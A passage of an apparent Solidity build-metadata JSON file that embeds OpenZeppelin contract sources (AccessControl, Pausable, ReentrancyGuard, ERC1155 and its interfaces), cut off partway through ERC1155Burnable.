*\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping(address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping(bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if (!hasRole(role, account)) {\\n revert(\\n string(\\n abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )\\n )\\n );\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x084f583de2c714665b0304529fe8b826a2809f29d03314e4dd9eea926e4bb0f3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor() {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xa35b1f2a670cd2a701a52c398032c9fed72df1909fe394d77ceacbf074e8937b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/ReentrancyGuard.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Contract module that helps prevent reentrant calls to a function.\\n *\\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\\n * available, which can be applied to functions to make sure there are no nested\\n * (reentrant) calls to them.\\n *\\n * Note that because there is a single `nonReentrant` guard, functions marked as\\n * `nonReentrant` may not call one another. This can be worked around by making\\n * those functions `private`, and then adding `external` `nonReentrant` entry\\n * points to them.\\n *\\n * TIP: If you would like to learn more about reentrancy and alternative ways\\n * to protect against it, check out our blog post\\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\\n */\\nabstract contract ReentrancyGuard {\\n // Booleans are more expensive than uint256 or any type that takes up a full\\n // word because each write operation emits an extra SLOAD to first read the\\n // slot's contents, replace the bits taken up by the boolean, and then write\\n // back. This is the compiler's defense against contract upgrades and\\n // pointer aliasing, and it cannot be disabled.\\n\\n // The values being non-zero value makes deployment a bit more expensive,\\n // but in exchange the refund on every call to nonReentrant will be lower in\\n // amount. Since refunds are capped to a percentage of the total\\n // transaction's gas, it is best to keep them low in cases like this one, to\\n // increase the likelihood of the full refund coming into effect.\\n uint256 private constant _NOT_ENTERED = 1;\\n uint256 private constant _ENTERED = 2;\\n\\n uint256 private _status;\\n\\n constructor() {\\n _status = _NOT_ENTERED;\\n }\\n\\n /**\\n * @dev Prevents a contract from calling itself, directly or indirectly.\\n * Calling a `nonReentrant` function from another `nonReentrant`\\n * function is not supported. It is possible to prevent this from happening\\n * by making the `nonReentrant` function external, and make it call a\\n * `private` function that does the actual work.\\n */\\n modifier nonReentrant() {\\n // On the first call to nonReentrant, _notEntered will be true\\n require(_status != _ENTERED, \\\"ReentrancyGuard: reentrant call\\\");\\n\\n // Any calls to nonReentrant after this point will fail\\n _status = _ENTERED;\\n\\n _;\\n\\n // By storing the original value once again, a refund is triggered (see\\n // https://eips.ethereum.org/EIPS/eip-2200)\\n _status = _NOT_ENTERED;\\n }\\n}\\n\",\"keccak256\":\"0x842ccf9a6cd33e17b7acef8372ca42090755217b358fe0c44c98e951ea549d3a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC1155.sol\\\";\\nimport \\\"./IERC1155Receiver.sol\\\";\\nimport \\\"./extensions/IERC1155MetadataURI.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the basic standard multi-token.\\n * See https://eips.ethereum.org/EIPS/eip-1155\\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\\n *\\n * _Available since v3.1._\\n */\\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\\n using Address for address;\\n\\n // Mapping from token ID to account balances\\n mapping(uint256 => mapping(address => uint256)) private _balances;\\n\\n // Mapping from account to operator approvals\\n mapping(address => mapping(address => bool)) private _operatorApprovals;\\n\\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\\n string private _uri;\\n\\n /**\\n * @dev See {_setURI}.\\n */\\n constructor(string memory uri_) {\\n _setURI(uri_);\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return\\n interfaceId == type(IERC1155).interfaceId ||\\n interfaceId == type(IERC1155MetadataURI).interfaceId ||\\n super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC1155MetadataURI-uri}.\\n *\\n * This implementation returns the same URI for *all* token types. It relies\\n * on the token type ID substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * Clients calling this function must replace the `\\\\{id\\\\}` substring with the\\n * actual token type ID.\\n */\\n function uri(uint256) public view virtual override returns (string memory) {\\n return _uri;\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\\n require(account != address(0), \\\"ERC1155: balance query for the zero address\\\");\\n return _balances[id][account];\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOfBatch}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] memory accounts, uint256[] memory ids)\\n public\\n view\\n virtual\\n override\\n returns (uint256[] memory)\\n {\\n require(accounts.length == ids.length, \\\"ERC1155: accounts and ids length mismatch\\\");\\n\\n uint256[] memory batchBalances = new uint256[](accounts.length);\\n\\n for (uint256 i = 0; i < accounts.length; ++i) {\\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\\n }\\n\\n return batchBalances;\\n }\\n\\n /**\\n * @dev See {IERC1155-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n require(_msgSender() != operator, \\\"ERC1155: setting approval status for self\\\");\\n\\n _operatorApprovals[_msgSender()][operator] = approved;\\n emit ApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC1155-isApprovedForAll}.\\n */\\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[account][operator];\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public virtual override {\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n _safeTransferFrom(from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual override {\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: transfer caller is not owner nor approved\\\"\\n );\\n _safeBatchTransferFrom(from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) internal virtual {\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n unchecked {\\n _balances[id][from] = fromBalance - amount;\\n }\\n _balances[id][to] += amount;\\n\\n emit TransferSingle(operator, from, to, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; ++i) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n unchecked {\\n _balances[id][from] = fromBalance - amount;\\n }\\n _balances[id][to] += amount;\\n }\\n\\n emit TransferBatch(operator, from, to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Sets a new URI for all token types, by relying on the token type ID\\n * substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * By this mechanism, any occurrence of the `\\\\{id\\\\}` substring in either the\\n * URI or any of the amounts in the JSON file at said URI will be replaced by\\n * clients with the token type ID.\\n *\\n * For example, the `https://token-cdn-domain/\\\\{id\\\\}.json` URI would be\\n * interpreted by clients as\\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\\n * for token type ID 0x4cce0.\\n *\\n * See {uri}.\\n *\\n * Because these URIs cannot be meaningfully represented by the {URI} event,\\n * this function emits no events.\\n */\\n function _setURI(string memory newuri) internal virtual {\\n _uri = newuri;\\n }\\n\\n /**\\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _mint(\\n address account,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: mint to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n _balances[id][account] += amount;\\n emit TransferSingle(operator, address(0), account, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {\\n require(to != address(0), \\\"ERC1155: mint to the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; i++) {\\n _balances[ids[i]][to] += amounts[i];\\n }\\n\\n emit TransferBatch(operator, address(0), to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens of token type `id` from `account`\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens of token type `id`.\\n */\\n function _burn(\\n address account,\\n uint256 id,\\n uint256 amount\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \\\"\\\");\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[id][account] = accountBalance - amount;\\n }\\n\\n emit TransferSingle(operator, account, address(0), id, amount);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n */\\n function _burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory amounts\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \\\"\\\");\\n\\n for (uint256 i = 0; i < ids.length; i++) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[id][account] = accountBalance - amount;\\n }\\n }\\n\\n emit TransferBatch(operator, account, address(0), ids, amounts);\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning, as well as batched variants.\\n *\\n * The same hook is called on both single and batched variants. For single\\n * transfers, the length of the `id` and `amount` arrays will be 1.\\n *\\n * Calling conditions (for each `id` and `amount` pair):\\n *\\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * of token type `id` will be transferred to `to`.\\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\\n * for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\\n * will be burned.\\n * - `from` and `to` are never both zero.\\n * - `ids` and `amounts` have the same, non-zero length.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {}\\n\\n function _doSafeTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) private {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _doSafeBatchTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) private {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (\\n bytes4 response\\n ) {\\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\\n uint256[] memory array = new uint256[](1);\\n array[0] = element;\\n\\n return array;\\n }\\n}\\n\",\"keccak256\":\"0x09c24182fc76ee97a5c604b6ff1a8afb3648535b6ba1820c23b243a40cc792a0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(\\n address indexed operator,\\n address indexed from,\\n address indexed to,\\n uint256[] ids,\\n uint256[] values\\n );\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\\n external\\n view\\n returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes calldata data\\n ) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] calldata ids,\\n uint256[] calldata amounts,\\n bytes calldata data\\n ) external;\\n}\\n\",\"keccak256\":\"0xfce1eb6398eae0e2b50251140866a70a3106193f101972c878bba1dbf44929ec\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n ) external returns (bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n ) external returns (bytes4);\\n}\\n\",\"keccak256\":\"0x7de6e64d4a8075e803a972cc77c4c91463e0c3777e4110eacfb5d4a71759b2fa\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC1155} that allows token holders to destroy both their\\n * own tokens and those that they have been approved to use.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Burnable is ERC1155 {\\n function burn(\\n address account,\\n uint256 id,\\n uint256 value\\n ) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not 